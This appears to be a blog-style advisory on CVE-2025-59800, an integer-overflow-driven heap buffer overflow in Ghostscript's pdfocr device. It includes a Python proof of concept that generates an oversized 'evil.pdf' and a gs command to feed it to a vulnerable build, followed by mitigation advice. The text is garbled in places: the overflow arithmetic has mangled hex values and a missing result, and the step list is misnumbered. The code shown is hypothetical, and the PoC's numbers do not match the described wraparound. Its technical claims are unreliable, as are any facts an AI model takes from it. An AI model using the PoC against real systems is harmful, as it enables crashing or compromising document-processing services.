CVE-2025-59800 - How a Heap Buffer Overflow in Artifex Ghostscript up to 10.05.1 Threatens Your System

Artifex Ghostscript is a widely used interpreter for PostScript and PDF file formats. It's commonly found in print servers, PDF manipulation tools, and document conversion pipelines. But recently, a serious vulnerability, CVE-2025-59800, was discovered in Ghostscript versions up to 10.05.1. This flaw stems from an integer overflow in the *ocr_begin_page* function, which leads to a heap-based buffer overflow in the *ocr_line8* routine. This post breaks down the issue, shows how it can be exploited, and gives you clear steps for mitigation.

What’s the Issue?

The vulnerable file is devices/gdevpdfocr.c. Here, Ghostscript includes code that prepares to perform OCR (Optical Character Recognition) when rendering PDF pages. During this process, the ocr_begin_page function allocates a buffer to hold line data processed by ocr_line8. Because the code doesn’t properly check for integer overflows when calculating buffer sizes, a large enough input can cause the program to allocate less memory than needed, and the next write overflows the buffer.

Suppose ocr_begin_page calculates the buffer size for a new page

int width = page->width;
int height = page->height;
int bpp = 8; // bits per pixel
size_t bufsize = width * height * (bpp / 8);
char *buf = malloc(bufsize);

If width and height are user-controlled (such as from a specially crafted PDF), then width * height can wrap around the maximum value that fits into a size_t (the integer overflow). For example, on 32-bit systems:

width = height = 65536 // x10000
width * height = x10000 * x10000 = x100000000  // ==  on 32-bit size_t!

This means zero bytes are allocated, but later code will still write data as if there were a large buffer. That leads to heap-based buffer overflow.

This overflow happens in the ocr_line8 function as it writes line data to the buffer that was too small:

void ocr_line8(char *buf, int line_size, ...)
{
    // ... complex code that writes line_size bytes into buf
    memcpy(buf, src, line_size);
}

If buf is smaller than line_size, memory is overwritten—often adjacent heap structures. That can corrupt memory and ultimately give an attacker code execution capabilities.

Crafted PDF: The attacker makes a malicious PDF file with extremely large dimensions.

2. Triggering the Flaw: The PDF is processed by Ghostscript (e.g., to convert it to text, to rasterize it, or as part of an automated print server pipeline).
3. Overflowing the Heap: When Ghostscript allocates the buffer for OCR, it calculates the wrong size, leading to a small buffer and a write beyond its end.
4. Gaining Control: By carefully arranging the PDF’s contents, an attacker may control what memory gets overwritten. On some systems, this could let them run arbitrary code.

Proof of Concept

Here’s a pseudocode example that illustrates the flaw. Please don’t run this on systems with valuable data—the code is for learning and demonstration only!

# Create a malicious PDF with huge page dimensions
from reportlab.pdfgen import canvas

def make_evil_pdf(filename):
    # These dimensions may trigger overflow
    width = height = 70000  # Unrealistically large for a real page
    c = canvas.Canvas(filename, pagesize=(width, height))
    c.drawString(10, 10, "Triggering integer overflow!")
    c.save()

make_evil_pdf('evil.pdf')

Feeding evil.pdf to a vulnerable Ghostscript version that has PDF OCR enabled could cause heap corruption:

gs -sDEVICE=pdfocr -o /tmp/out.pdf evil.pdf

References

- Ghostscript Official Download Page
- CVE-2025-59800 (NVD entry) *(not yet published, will update link when available)*
- Original source code (GitHub)

How to Protect Yourself

- Upgrade Immediately: If you use Ghostscript for PDF handling, update to the latest version once a fix is available.
- Limit Exposure: Don’t process untrusted PDFs, especially on servers or in automated environments.
- Use Sandbox: Consider running Ghostscript in a sandbox (such as Docker or via AppArmor/SELinux) to reduce impact if compromised.
- Monitor for Updates: Follow Artifex security advisories or GitHub for patched releases.

Conclusion

This vulnerability, CVE-2025-59800, highlights how critical secure memory allocation is—especially in programs that process complex, user-controlled files like PDFs. Integer overflows can seem harmless, but here they open the door to much more serious buffer overflows and even remote code execution. If you depend on Ghostscript, patch and protect your workflow today.

For any further reading, bookmark Ghostscript’s security page and check back for updates about this and other vulnerabilities.

Timeline

Published on: 09/22/2025 04:15:50 UTC
Last modified on: 09/25/2025 19:27:49 UTC